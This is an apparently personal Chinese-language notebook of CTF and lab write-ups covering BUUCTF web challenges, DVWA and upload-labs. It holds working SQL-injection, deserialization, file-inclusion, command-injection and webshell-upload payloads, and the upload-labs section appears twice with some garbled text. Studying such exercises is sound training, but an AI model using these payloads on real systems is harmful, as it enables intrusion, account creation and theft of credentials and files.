那啥ciscn2021杂项的running pixel

奔跑的像素点蛤?

跑? 把所有的帧给提取出来

丢Stegsolve 里头看了看 red plane3 看了看 都有一个点比较另类的aaa

ccc

然后ps看这个点的像素值总会含有这个RGB: 233,233,233的像素块 部分像素颜色为233,233,233将颜色为233,233,233区块的位置尝试画出来

ddd

from PIL import Image

flag_img = Image.new(‘1’,(400,400))
#mode=1 1位黑白像素,每字节存储一个像素
for name in range(10,383): #这边应给得从1开始
framepic = Image.open(‘0_f’+str(name)+’.gif’) #然后这边0_f0 应该为这样 跑完前十张图后改称这样
framepic = framepic.convert(“RGB”)
width,height = framepic.size
for w in range(width):
for h in range(height):
if framepic.getpixel((w,h)) == (233,233,233):
flag_img.putpixel((h,w),1)

flag_img.save(‘./flag/‘+str(name)+’.png’)

和刚才的所有的帧数放在同一个文件夹 跑完程序就可以了 bbb

慢慢拼图就能拿到flag了

dvwa 文件上传

low 直接上传后门文件检查都不检查的

medium 上传的时候用jpg 然后burp改或者直接php 然后burp从Content-Type 那边改image/jpeg

high 上传图片马然后用文件包含漏

刷题4

[网鼎杯2018]fakebook题解 先注册一个 然后发现/view.php?no=1 貌似可以sql注入?no=-1 显示了Notice: Trying to get property of non-object in /var/www/html/view.php on line 53 数字型 的所有就?no=0 扫后台发现robots.txt 然后又发现一个user.php.bak 可以大概猜一猜flag位置
然后这又是一个序列化题目
<?php

class UserInfo
{
public $name = “aaad”;
public $age = 19;
public $blog = “file:///var/www/html/flag.php”;

public function __construct($name, $age, $blog)
{
    $this->name = $name;
    $this->age = (int)$age;
    $this->blog = $blog;
}

function get($url)
{
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if($httpCode == 404) {
        return 404;
    }
    curl_close($ch);

    return $output;
}

public function getBlogContents ()
{
    return $this->get($this->blog);
}

public function isValidBlog ()
{
    $blog = $this->blog;
    return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}
$a = new UserInfo(“aaad”,19,”file:///var/www/html/flag.php”);
var_dump(serialize($a));
?> 构造这个然后复制一波 aaad 19 4399 这些是自己弄 要弄什么都可以 ?no=-1//union//select//1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:4:”aaad”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’ 然后右键查看源码 有个data text 啥的
那段复制然后base64解码就可
或者因为sql注入没有过滤load_file直接取得flag
no=-1 union/
/select 1,load_file(“/var/www/html/flag.php”),3,4
[GXYCTF2019]BabySQli 1 union select 1,2,3 在这个关要构造假身份 利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。select * from ‘users’ where name=’person’ union select 1,’admin’,’e10adc3949ba59abbe56057f20f883e’,4,5 按照我们的输入,sqli在数据库中写入数据,相当于伪造了一个身份,就可以用这个身份登录了。
试探id username password 这三个的顺序如何 name=aaa’ union select ‘admin’,2 #&pw=qqq 显示wrong user
name=aaa’ union select 1,’admin’,3 #&pw=qqq 显示wrong password 然后把3 改成qqq的MD5加密形式就可以了
https://xz.aliyun.com/t/3674(反序列化的一些知识点)
[MRCTF2020]你传你🐎呢 1
<FilesMatch “1.png”>
SetHandler application/x-httpd-php
传一个这样的.htaccess 这个是将1.png 默认成php 然后传一个1.png的后门文件就可以了
[MRCTF2020]Ez_bypass 1又是一题MD5 比较的 那就数组绕过?gg[]=1&id[]=2
然后post一个passwd=1234567a就可以了 因为 if($passwd==1234567)

刷题3

[ACTF2020 新生赛]BackupFile 1 问你能不能找到源文件 dirsearch扫一波发现一个index.php.bak 然后打开发现 $str = “123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”;
if($key == $str) {
echo $flag; 这串代码 两个等号是弱等于的意思 大概就是有几个一样的就可以echo flag 就?key=123 就可以了
[HCTF 2018]admin 1 这关注册一个账号之后在改密码那个页面找到了这个类似于源代码的地址
方法一:flask session伪造 (不懂)
方法二:Unicode欺骗 在更改密码那边有一串源码用到strlower 就把用户名的字母转成小写 name = strlower(session[‘name’])
def strlower(username):
username = nodeprep.prepare(username)
return username
这个nodeprep.prepare存在漏洞。我们还会发现,login的时候又strlower一次。这个本来是转小写的,但是如果我们注册的用户名是这个:注册用户ᴀdmin(这个是unicode字符) 登录用户ᴀdmin,变成Admin 改密码时被变成admin 巧妙
login的时候会经过一次strlower会编程ADMIN,在change password的时候会变成admin。因此可以更改admin的密码,从而完成登录。 那么我们改密码的时候就变成改admin的了
就很巧妙的解题方法
[极客大挑战 2019]BuyFlag 1 抓包改包 buyflag那边可以找到一部分信息 抓 send to repeater 然后就添加money和password的信息
还有改一下cookie 能够被识别为那个什么g开头的什么的学生 user=1 就可以了 然后源码拿password后面俩== 那和上面那个差不多 就404a 这个作为password就可以
或者hackbar 改cookie和postdata

[BJDCTF2020]Easy MD5 1 这关转回响包发现hint那边有select * from ‘admin’ where password=md5($pass,true) 百度了下这玩意是什么没看懂 反正就是有个万能密码ffifdyop 这个字符串造成的漏洞
本地环境试验ffifdyop,输出的开头是’or’6xxxxxx
在数据库语句里就构成了select * from ‘admin’ where password= ‘’or’6xxxxxx ’ 相当于 password= ‘’ or 1 变成永真式
输入ffifdyop 然后去到另一个页面 源码
$a = $GET[‘a’];
$b = $_GET[‘b’];

if($a != $b && md5($a) == md5($b)) 然后可以用数组方式绕过 ?a[]=1&b[]=2 又到另一个页面 然后是post param1[]=1&param2[]=2 用数组的方式可以绕过很多检测
[SUCTF 2019]CheckIn 1 -> 上传过滤为黑名单,但php脚本文件应该是无法上传的

-> 存在文件头过滤,需要添加图片文件的文件头

-> 文件的内容不能包含<?,但可以上传 另存为a.jpg

然后 上传后会显示uploads/后面一长串解析这串再带个index.php 就可以打开flag了

[ZJCTF 2019]NiZhuanSiWei 1 点进去就给了源码 需要get text file password text需要有welcome to the zjctf
利用data协议绕过

将welcome to the zjctf写入

而data://协议允许读入

payload:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file=php://filter/read=convert.base64-encode/resource=useless.php (用这个来读取指定的文件 之前 [极客大挑战 2019]Secret File 1 和[ACTF2020 新生赛]Include 1 这俩有用到这个代码)然后把浏览器回显的东西base64解码一下
<?php

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo “
“;
return (“U R SO CLOSE !///COME ON PLZ”);
}
}
}
?> 嚯哦又是反序列化
构造<?php

class Flag{ //flag.php
public $file=’flag.php’;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo “
“;
return (“U R SO CLOSE !///COME ON PLZ”);
}
}
}
$a = new Flag(‘flag’);
var_dump(serialize($a));
?> 然后丢给phpstudy 解析一下O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 得到这个
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 三者结合就可以得到flag了
[极客大挑战 2019]HardSQL 1也是过滤了一堆 union 之类的 发现如and/空格/union/select/=///等都被过滤了但是有错误回显 报错注入**
‘^extractvalue(1,concat(0x7e,(select(database()))))%23 (爆库名)
‘^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’))))%23 (表)
#语句主要用()绕过了空格,用like绕过了=号
‘^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’))))%23 (列)
‘^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!! 可是只显示了flag其中的一段。 剩下的用right()显示其他位数的
‘^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))%23 就疯狂改数字 然后拼凑

刷题2

[极客大挑战 2019]Http 1 这关用burp改一改就能出flag 右键看源码发现别的页面 提示访问来源不对 那就改一下referer头来伪造那边提示的那个网页
然后还得改一下用什么浏览器访问的 Syclover这个浏览器
然后又要求要本地那就再添加一段X-Forwarded-For 127.0.0.1 就可以拿到flag

[极客大挑战 2019]PHP 1 这关扫一扫发现有个叫www.zip 访问后下载下来一个zip解压可以看到 class.php flag.php(当然这个打开啥都没有) 剩下一些无关紧要的
class是个序列化操作
class Name{
private $username = ‘nonono’;
private $password = ‘yesyes’;

public function __construct($username,$password){
    $this->username = $username;
    $this->password = $password;
}

function __wakeup(){
    $this->username = 'guest';
}

function __destruct(){
    if ($this->password != 100) {
        echo "</br>NO!!!hacker!!!</br>";
        echo "You name is: ";
        echo $this->username;echo "</br>";
        echo "You password is: ";
        echo $this->password;echo "</br>";
        die();
    }
    if ($this->username === 'admin') {
        global $flag;
        echo $flag;
    }else{
        echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
        die();


​ }
​ }
}
?>

一个叫做name 然后里头又有七七八八的 但是如果是username=admin ;password=100 可以访问 那么搞一个反序列化的操作
首先要知道username=admin ;password=100 生成的序列是什么
构造

username = $username; $this->password = $password; } } $a = new Name('admin', 100); var_dump(serialize($a)); ?>

然后浏览器解析一下得到 O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
但是反序列化会执行_wakeup()这个函数 那么就得再次跳过这个
O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
然后配合一开始zip里面的index 构造?select=O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;} 成功

[极客大挑战 2019]BabySQL 1 这关 过滤了组合拳的诸多 union select or and from where 这几个词都被过滤双写绕过
union->ununionion select->selselectect or->oorr from->frofromm where->whewhereere 就是一套组合拳就可以了
ACTF2020 新生赛]Upload 1 发现网页前端就有checkfile的那个玩意 用火狐浏览器直接删掉那段话 然后就上传eval 后门了 但是还得绕 php不过得改成phtml就可以了 然后连接 ok

刷题1

[HCTF 2018]WarmUp 1 文件包含 这个按了下f12发现跳出了源码 $whitelist数组有两个值 一个source.php 一个hint.php 进入hint试一下 告诉我们flag在ffffllllaaaagggg中 但是一般来说没法直接访问 源码还有一部分
if (! empty($_REQUEST[‘file’]) //$_REQUEST[‘file’]值非空
&& is_string($_REQUEST[‘file’]) //$_REQUEST[‘file’]值为字符串
&& emmm::checkFile($_REQUEST[‘file’]) //能够通过checkFile函数校验
) {
include $_REQUEST[‘file’]; //包含$_REQUEST[‘file’]文件
exit;
} else {
echo “
<img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />”;
//打印滑稽表情
} 要传入file 首先不能为空 类型为字符串 能通过checkFile()函数
highlight_file(FILE); //打印代码
class emmm //定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = [“source”=>”source.php”,”hint”=>”hint.php”];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo “you can’t see it”;//打印”you can’t see it”
return false;//返回false
}

        if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
            return true;//返回true
        }

        $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);//url解码$page
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}  这边还有这段代码

第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中’?’前部分,存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
用文件包含 。。。。/source.php?file=source.php?../ffffllllaaaagggg 无返回值那就再加../多加几个说不定就出来了 最后总共五个就有显示flag

[极客大挑战 2019]EasySQL 1 sql注入 用个union select 就出来了 随便输入一个用户名 aaa’ union select 1,2,3 # 密码aaa 这关就很水 直接就显示flag了╮(╯▽╰)╭
[极客大挑战 2019]Havefun 1 sql注入 看源码
$cat=$_GET[‘cat’];
echo $cat;
if($cat==’dog’){
echo ‘Syc{cat_cat_cat_cat}’; 就试一下在后面加个?cat=dog ok flag显示了
[SUCTF 2019]EasySQL 1 sql注入 堆叠注入 输入1;show databases;show tables; 显示了一些东西但是没法查columns里面的数据 据说这关泄露的源码 但是我没找出来 所以看了下别人找出来的
$BlackList = “prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"“; 很长的一串黑名单 但是没过滤* 直接select就完事了 输入*,1;
因为内置的sql语句sql=”select”.sql=”select”.post[‘query’].”||flag from Flag”; 就直接给了flag了
[ACTF2020 新生赛]Include 1 这个页面右键看了下源码?file=flag 文件包含构造了一手pyload: ?file=php://filter/read=convert.base64-encode/resource=flag.php 出来一段base64 编码的东西解码一下就得到flag了
[极客大挑战 2019]Secret File 1 这个什么蒋璐源的秘密的 右键源码发现还有别的页面 点进去另一个页面 点了下secret 就没了what?∑( 口 || 老子看都没看就没了 用burp抓一下有secret的那个页面 然后转到repeater那边重发一波 又一波
发现了一个secr3t.php,访问 然后用上一关用过的神奇操作在后面加个
?file=php://filter/read=convert.base64-encode/resource=flag.php 得到一串 解码一波就能得到flag
[极客大挑战 2019]LoveSQL 1 sql注入 那一套组合拳 用union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()# 这个顺序变一下 然后union select 1,2,group_concat(id,username,password) from (表名叫什么来着忘了) 反正就能得到flag了
[GXYCTF2019]Ping Ping Ping 1 命令行注入 那么就用127.0.0.1 他的本机ip来搞他 127.0.0.1;ls 显示还有index.php flag.php
127.0.0.1;cat flag.php 显示fxck your space! 过滤了空格 注:%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以用来绕过过滤了空格的操作 可以试一下打开index.php的文件构造?ip=127.0.0.1;cat$IFS$1index.php 查看过滤名单
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配
3.内联执行 (真正的大佬操作,给跪了)

      构造 /?ip=127.0.0.1;cat$IFS$9`ls`

      注:内联,就是将反引号内命令的输出作为输入执行。

      什么正则都是浮云,可能这就是大佬的世界吧。

[ACTF2020 新生赛]Exec 1 一个命令行注入 需要cat指令用来打开东西 就ls列出他的文件来 用几个../ 就能找到有flag的地方

[护网杯 2018]easy_tornado1 这个用的是tornado的服务器框架 hints那边有个提示md5(cookie_secret+md5(filename)) file?filename=/hints.txt&filehash=96981af0012f04a22b942f5bf957f7ef所以后面这串hash应该是这么来的
现在就是找出cookie_secret tornado 框架的官网找一下cookie_secret在RequestHandler.application.settings里
用handler.settings访问RequestHandler.application.settings 然后payload /error?msg= 得到cookie_secret 再flag那边得知fllllllllllllag 真flag在这 fllllllllllllag这个搞成MD5加密的然后和cookie_sceret组合一下MD5加密一波
file?filename=/fllllllllllllag.txt&filehash=34e4c6c1748d183dd644a5f0e9290b37
[RoarCTF 2019]Easy Calc 1 右键源码发现还有另一个php文件 叫calc.php $_GET[‘num’] payload构造就是?num=1;var_dump(scandir(chr(47)))
var_dump()用来打印
scandir()用来获取目录文件
chr(47)是 /的ASCII编码,因为 / 被过滤了,用这个什么都不显示。 var_dump(file_get_contents()) 配合ASCII编码使用chr() 里头写入数字
再就是num前有个空格,用来绕过waf(web防火墙)(为什么是waf?)。
这是php的机制,在传进php代码的url时,一些字符会被忽略或变成_。
因为php一般是这样$_GET[‘num’]获取url传进来的参数,当有一些奇怪的字符和参数写在一些时,如%[num%id,它会变成$_GET[‘num_id’]。所以在num前加个空格可以绕过waf并且php会把它当成正常的num使用,此时并不是’ num’而是‘num’。
这个之前sqlilabs出现过就是那个号称拥有最强防火墙的
打开flagg这个 ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
chr(47)——/
chr(102)——f
chr(49)——1
chr(97)——a
chr(103)——g
它们之间用.连接,因为是php。 就可以获取flag

之前的uploadlabs的被安全卫士杀掉了

uploadlabs 1-9

这次我们换个好玩的 uploadlabs 非常amazing

用burp 和火狐 两个配合一下很快

先写个一句话木马eval POST[‘’] 这个post[‘’] 框框里面的自己填什么都行在这里插入图片描述

第一关上传嘛 上传东西 刚才那个一句话木马先另存为格式为jpg 才过的去这关

然后burp抓个包 改一下这个格式 .php 然后中国菜刀链接一下 http://127.0.0.1/upload-labs/upload/.php 1

获取权限了就可以控制这电脑了

第二关 和第一关差不多只不过type要改成这边允许的类型’image/jpeg 或者 image/png’等等

那还是老样子另存改个格式 之后抓包改为.php

第三关这回没法直接抓包改为.php了 稍稍微改一下 .php3 .phtml

就把.php后面加个数字 但是得先去apache那边的配置文件添加一下

配置文件打开找到一行addtype application/x-httpd-php .php .phtml .php3 .php4 就是把这类后缀的文件解析成php 老样子另存. jpg 之后上传时抓包改格式为.php3 然后菜刀连接一下就可以了 关于php3的介绍在这里插入图片描述在这里插入图片描述

第四关就太狠了把都给过滤掉了 用一个别的叫做htaccess

.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置

先创建一个.htaccess格式的文件 记事本打开写点东西进去

SetHandler application/x-httpd-php 这串

这样就可以把所有文件当成php执行

burp抓包时改一下删掉名字就留下格式 然后把那个.jpg上传上去就可以了 菜刀一连就行了

第五关 没有之前的那样子{$file_ext = strtolower($file_ext); //转换为小写} 和前几关的源码对比发现少了这句

那么就是说可以用大小写混合绕过去 结果是可以这么干

第六关 $file_ext = trim($file_ext); //首尾去空 少了这句代码 那么就可以改一下burp截个包 改格式. php php前多个空格

**第七关 **$file_name = deldot($file_name);//删除文件名末尾的点 少了这句代码那么上传时可以用.php. 绕过限制

第八关 首先来了解一个东西 ::D A T A : N T F S 文 件 系 统 包 括 对 备 用 数 据 流 的 支 持 。 主 要 包 括 提 供 与 M a c i n t o s h 文 件 系 统 中 的 文 件 的 兼 容 性 。 备 用 数 据 流 允 许 文 件 包 含 多 个 数 据 流 。 每 个 文 件 至 少 有 一 个 数 据 流 。 在 W i n d o w s 中 , 此 默 认 数 据 流 称 为 : DATA: NTFS文件系统包括对备用数据流的支持。主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:DATA:NTFS文件系统包括对备用数据流的支持。主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:
DATA。
简单讲就是在php+windows的情况下:如果文件名+”::D A T A “ 会 把 : : DATA”会把::DATA”会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名。 这关$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA 少了这串代码 那么上传时在burp中这儿

Content-Disposition: form-data; name=”upload_file”; filename=”yijuhua.jpg**::$DATA**”
Content-Type: image/jpeg

首先标配嘛改格式 然后php后面加个::$DATA 就可以上传成功然后连接

第九关 认真看了下源码发现其实这些去头去末尾的操作好像是按顺序来的那么末尾多打几个东西说不定就能耗死这些代码┗|`O′|┛ nice 那么就抓包改一下格式 .php. .. 然后居然可以上传成功 连接一下就可以了

那按这么说前面那些也可以这么搞 卧槽┗|`O′|┛ 嗷~~ 真的可以1-9 都可以这样弄.php. .. (一个点一个空格两个点)

第十关 其实和第九差不多就这关用了替换函数

双写绕过就可了 .pphphp (好像只能这么个格式)

第十一关imgimg

存在字符拼接 可以随意变换储存地址%00截断法img

burp中修改个地方 一个是POST那边 upload后面加个yl.php%00

名字要和filename那边的不一样 然后就能上传成功了

第十二 这个img

变成post的方法 要在burp的十六进制那边改所以还挺麻烦的

之前的uploadlabs的被安全卫士杀掉了

uploadlabs 1-9

这次我们换个好玩的 uploadlabs 非常amazing

用burp 和火狐 两个配合一下很快

先写个一句话木马eval POST[‘’] 这个post[‘’] 框框里面的自己填什么都行在这里插入图片描述

第一关上传嘛 上传东西 刚才那个一句话木马先另存为格式为jpg 才过的去这关

然后burp抓个包 改一下这个格式 .php 然后中国菜刀链接一下 http://127.0.0.1/upload-labs/upload/.php 1

获取权限了就可以控制这电脑了

第二关 和第一关差不多只不过type要改成这边允许的类型’image/jpeg 或者 image/png’等等

那还是老样子另存改个格式 之后抓包改为.php

第三关这回没法直接抓包改为.php了 稍稍微改一下 .php3 .phtml

就把.php后面加个数字 但是得先去apache那边的配置文件添加一下

配置文件打开找到一行addtype application/x-httpd-php .php .phtml .php3 .php4 就是把这类后缀的文件解析成php 老样子另存. jpg 之后上传时抓包改格式为.php3 然后菜刀连接一下就可以了 关于php3的介绍在这里插入图片描述在这里插入图片描述

第四关就太狠了把都给过滤掉了 用一个别的叫做htaccess

.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置

先创建一个.htaccess格式的文件 记事本打开写点东西进去

SetHandler application/x-httpd-php 这串

这样就可以把所有文件当成php执行

burp抓包时改一下删掉名字就留下格式 然后把那个.jpg上传上去就可以了 菜刀一连就行了

第五关 没有之前的那样子{$file_ext = strtolower($file_ext); //转换为小写} 和前几关的源码对比发现少了这句

那么就是说可以用大小写混合绕过去 结果是可以这么干

第六关 $file_ext = trim($file_ext); //首尾去空 少了这句代码 那么就可以改一下burp截个包 改格式. php php前多个空格

**第七关 **$file_name = deldot($file_name);//删除文件名末尾的点 少了这句代码那么上传时可以用.php. 绕过限制

第八关 首先来了解一个东西 ::D A T A : N T F S 文 件 系 统 包 括 对 备 用 数 据 流 的 支 持 。 主 要 包 括 提 供 与 M a c i n t o s h 文 件 系 统 中 的 文 件 的 兼 容 性 。 备 用 数 据 流 允 许 文 件 包 含 多 个 数 据 流 。 每 个 文 件 至 少 有 一 个 数 据 流 。 在 W i n d o w s 中 , 此 默 认 数 据 流 称 为 : DATA: NTFS文件系统包括对备用数据流的支持。主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:DATA:NTFS文件系统包括对备用数据流的支持。主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:
DATA。
简单讲就是在php+windows的情况下:如果文件名+”::D A T A “ 会 把 : : DATA”会把::DATA”会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名。 这关$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA 少了这串代码 那么上传时在burp中这儿

Content-Disposition: form-data; name=”upload_file”; filename=”yijuhua.jpg**::$DATA**”
Content-Type: image/jpeg

首先标配嘛改格式 然后php后面加个::$DATA 就可以上传成功然后连接

第九关 认真看了下源码发现其实这些去头去末尾的操作好像是按顺序来的那么末尾多打几个东西说不定就能耗死这些代码┗|`O′|┛ nice 那么就抓包改一下格式 .php. .. 然后居然可以上传成功 连接一下就可以了

那按这么说前面那些也可以这么搞 卧槽┗|`O′|┛ 嗷~~ 真的可以1-9 都可以这样弄.php. .. (一个点一个空格两个点)

第十关 其实和第九差不多就这关用了替换函数

双写绕过就可了 .pphphp (好像只能这么个格式)

第十一关imgimg

存在字符拼接 可以随意变换储存地址%00截断法img

burp中修改个地方 一个是POST那边 upload后面加个yl.php%00

名字要和filename那边的不一样 然后就能上传成功了

第十二 这个img

变成post的方法 要在burp的十六进制那边改所以还挺麻烦的

dvwa command injection

a这个就ping一个地址然后后面跟一些命令就能知道服务器的一些信息

例如 127.0.0.1&net user aaa/add 这样可以创建一个用户aaa

&&、&、||、| 这些可用作命令连接符使用 用户通过浏览器提交执行命令然后服务器这边就会执行

&& 用这个符号意味着 先执行前面的命令在执行后面的若第一条不执行第二条也不执行

& 不管第一条成功与否都执行第二条

| 只执行第二条

||第一条执行失败在执行第二条 第一条成功就不执行第二条

whoami 查询服务器当前用户 ipconfig 网卡那些七七八八的 dir 后面再跟个那个盘目录之类的可以看到这个盘里头某个特定文件的大小或者盘目录里头的东西七七八八的 ls 列出当前文件夹内容 sleep 5 用来看是否存在时间差检测是否存在漏洞 **cat/etc/shadow ** 这个是linux系统的影子文件

dvwa的low 这里头什么都没过滤直接码进去不管他 写什么都能执行

medium 这关吧&& ; 替换成了空格 但也能过 多打几个嘛 &&变成&&& 或者&;& (这样是吧;换成了空格然后帮了我们把这变成&&)

或者毕竟之过滤&& 那么&还是能运行的

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 '&'  => '', 
';' => '',

'| ' => '',

'-' => '',

'$' => '',

'(' => '',

')' => '',

'`' => '',

'||' => '',

好多都被过滤了 试一下用url编码 %20 =空格 %5c=\ %26=& %7c=| (用不了)

打好几个& 不行 好几个| ┗|`O′|┛ 嗷~~ 居然可以 nice

**impossible ** 这个是魔鬼没办法的根本过不去 动不动就显示无效ip

这关用了 stripslashes($target) 删除字符串的反斜杠 返回已剥离反斜杠的字符串

explode(”.”,$target) 这个直接把字符串打散成数组

explode(separator,string,limit) separator(必须,规定从哪开始分割) string(必须,需分割的字符串) limit(可选,规定返回的数组的数目)

is_nummeric($target) 检测 $target是否为数字挥着数字字符串

还加入了Anti-CSRF token 对参数ip进行严格限制 例如只有数字.数字.数字.数字. 的输入才会接收

那么完全不存在命令行注入了(╬▔皿▔)凸

upload labs 17

这关叫做条件竞争 虚拟网卡好像是数据包速率问题反正没试成功过___*(  ̄皿 ̄)/#____

源码这边说后台先把文件保存进文件夹再判断后缀是否合法

那么多线程的情况下就可能出现文件文件夹的文件没处理完就直接绕过了防护

先创建一个’);?>

代码为这个的php文件 意思是当访问这个之后就会创建一个shell2.php的文件并写入一句话木马
fopen()函数的用法
1、fopen() 函数打开一个文件或 URL。
2、如果 fopen() 失败,它将返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。
“r” (只读方式打开,将文件指针指向文件头)
“r+” (读写方式打开,将文件指针指向文件头)
“w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
“w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)
“a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)
“a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)
“x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)
“x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)

burp抓包然后 send to intruder

设置数据包无限重发 payloads那边 payload type选择null payloads 下面的 continue indefinitely选上 然后还要弄个python脚本来检测有没有上传上去

import requests
url = “http://127.0.0.1/upload-labs/upload/aaa.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print(“OK”)
break
else:
print(“NO”) **脚本代码 ** 如果访问的了就会显示ok 然后就会创建 shell.php 的文件

burp attack之前就需要运行这个脚本

然后就可以连接了 菜刀开启

也有不用python脚本的方法手动不断访问http://127.0.0.1/upload-labs/upload/aaa.php

知道访问成功为止

但是呢这我到现在都没成功